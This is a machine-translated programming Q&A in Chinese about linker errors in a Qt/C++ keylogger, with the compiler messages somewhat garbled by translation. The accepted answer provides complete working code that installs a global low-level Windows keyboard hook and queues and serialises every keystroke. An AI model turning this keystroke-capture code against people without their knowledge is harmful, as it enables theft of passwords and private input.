我到处寻找解决该错误的帖子,但是在每种情况下,我已经在按照他们的建议去做。
我的编译输出:
main.obj:-1:错误:LNK2019:未解析的外部符号“ public:
__main函数中引用的__thiscall KeyLogger ::〜KeyLogger(void)“(?? 1KeyLogger @@ QAE @ XZ)
main.obj:-1:错误:LNK2019:未解析的外部符号“ public:
__thiscall KeyLogger :: KeyLogger(void)“(?? 0KeyLogger @@ QAE @ XZ)在函数_main中引用
debug \ AccipioKeyDemo.exe:-1:错误:LNK1120:2无法解析的外部
我知道这就是说我已经定义了KeyLogger构造函数和析构函数,但未实现,但实际上确实已实现了所有事情。
main.cpp
#include <QCoreApplication>
#include "keylogger.h"
int main(int argc, char *argv[]) {
QCoreApplication a(argc, argv);
KeyLogger k;
return a.exec();
}
keylogger.h
#ifndef KEYLOGGER_H
#define KEYLOGGER_H
#include <Windows.h>
class KeyLogger {
public:
KeyLogger();
~KeyLogger();
void start();
void stop();
private:
HHOOK hook;
LRESULT CALLBACK intercept(int code, WPARAM wparam, LPARAM lparam);
};
#endif // KEYLOGGER_H
keylogger.cpp
#include "keylogger.h"
#include <QDebug>
KeyLogger::KeyLogger() : hook(NULL) {
hook = SetWindowsHookEx(WH_KEYBOARD_LL, intercept, NULL,0);
if (hook == NULL) {
qDebug() << "HOOK FAILED";
} else {
qDebug() << "HOOK SUCCESS";
}
}
KeyLogger::~KeyLogger() {
}
void KeyLogger::start() {
qDebug() << "start";
}
void KeyLogger::stop() {
qDebug() << "stop";
}
LRESULT CALLBACK KeyLogger::intercept(int code, WPARAM wparam, LPARAM lparam) {
qDebug() << "Key Pressed";
return CallNextHookEx(hook, code, wparam, lparam);
}
QT Pro配置
#-------------------------------------------------
#
# Project created by QtCreator 2013-10-10T19:58:51
#
#-------------------------------------------------
QT += core
QT -= gui
TARGET = AccipioKeyDemo
CONFIG += console
CONFIG -= app_bundle
LIBS += user32.lib
TEMPLATE = app
SOURCES += main.cpp \
keylogger.cpp
HEADERS += \
keylogger.h
最佳答案
您的代码已损坏,因为回调方法必须是静态成员-本质上,它们必须是自由函数。由于无法将指向KeyLogger
实例的指针传递给拦截回调函数,因此您的钩子必须是类成员,而不是实例成员。如果您后来忘记了自己并尝试在多个线程中实例化KeyLogger
,那么用互斥锁保护钩子的想法可能并不坏。
对于您来说,KeyLogger
对象是可复制的也是一个错误。在不打算复制的类上使用Q_DISABLE_COPY
宏。
您可能要删除构建目录并重新构建项目,但是请记住要修复如下所示的错误,否则将无法正常工作。
下面的最小化版本(只是一个main.cpp
文件)可以正常工作并编译。它演示了如何正确处理从事件队列中转储的数据:您必须在拿着互斥锁的同时将一小部分数据复制出队列,然后释放互斥锁,然后再将其转储到其他位置。
#include <QCoreApplication>
#include <QMutex>
#include <QDebug>
#include <QQueue>
#include <QDataStream>
#include <windows.h>
struct KeyLoggerEvent {
WPARAM event;
KBDLLHOOKSTRUCT key;
KeyLoggerEvent(WPARAM ev, KBDLLHOOKSTRUCT k) : event(ev), key(k) {}
};
QDataStream & operator<<(QDataStream & s, const KeyLoggerEvent & kev) {
s << kev.event
<< (quint32)kev.key.flags << (quint32)kev.key.scanCode
<< (quint32)kev.key.time << (quint32)kev.key.vkCode;
return s;
}
class KeyLogger {
Q_DISABLE_COPY(KeyLogger)
static QMutex m_hookMutex;
static HHOOK m_hook;
static QQueue<KeyLoggerEvent> m_events;
static LRESULT CALLBACK intercept(int code, WPARAM wparam, LPARAM lparam);
public:
KeyLogger() {
QMutexLocker lock(&m_hookMutex);
Q_ASSERT(!m_hook);
m_hook = SetWindowsHookEx(WH_KEYBOARD_LL, intercept, NULL,0);
if (!m_hook) qDebug() << "HOOK FAILED";
lock.unlock();
}
~KeyLogger() {
QMutexLocker lock(&m_hookMutex);
if (m_hook) UnhookWindowsHookEx(m_hook);
m_hook = NULL;
}
//! Dumps a bunch of events to the stream. Returns false if no more events remain in the
//! log. To avoid lock contention, it keeps the queue lock for a very short amount of time.
bool dump(QDataStream & s) {
int batchCount = 1000;
QQueue<KeyLoggerEvent> dumpQueue;
QMutexLocker lock(&m_hookMutex);
while (batchCount-- && !m_events.empty()) {
dumpQueue.enqueue(m_events.dequeue());
}
bool more = !m_events.empty();
lock.unlock();
// The below could block for a long time, thus it works from a local copy.
while (! dumpQueue.empty()) s << dumpQueue.dequeue();
return more;
}
};
QMutex KeyLogger::m_hookMutex;
HHOOK KeyLogger::m_hook = NULL;
QQueue<KeyLoggerEvent> KeyLogger::m_events;
LRESULT CALLBACK KeyLogger::intercept(int code, WPARAM wparam, LPARAM lparam) {
qDebug() << "Key Event";
QMutexLocker lock(&m_hookMutex);
if (code >= 0) {
KBDLLHOOKSTRUCT * key = reinterpret_cast<KBDLLHOOKSTRUCT*>(lparam);
m_events.enqueue(KeyLoggerEvent(wparam, *key));
}
HHOOK hook = KeyLogger::m_hook;
lock.unlock();
return CallNextHookEx(hook, code, wparam, lparam);
}
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
KeyLogger k;
return a.exec();
}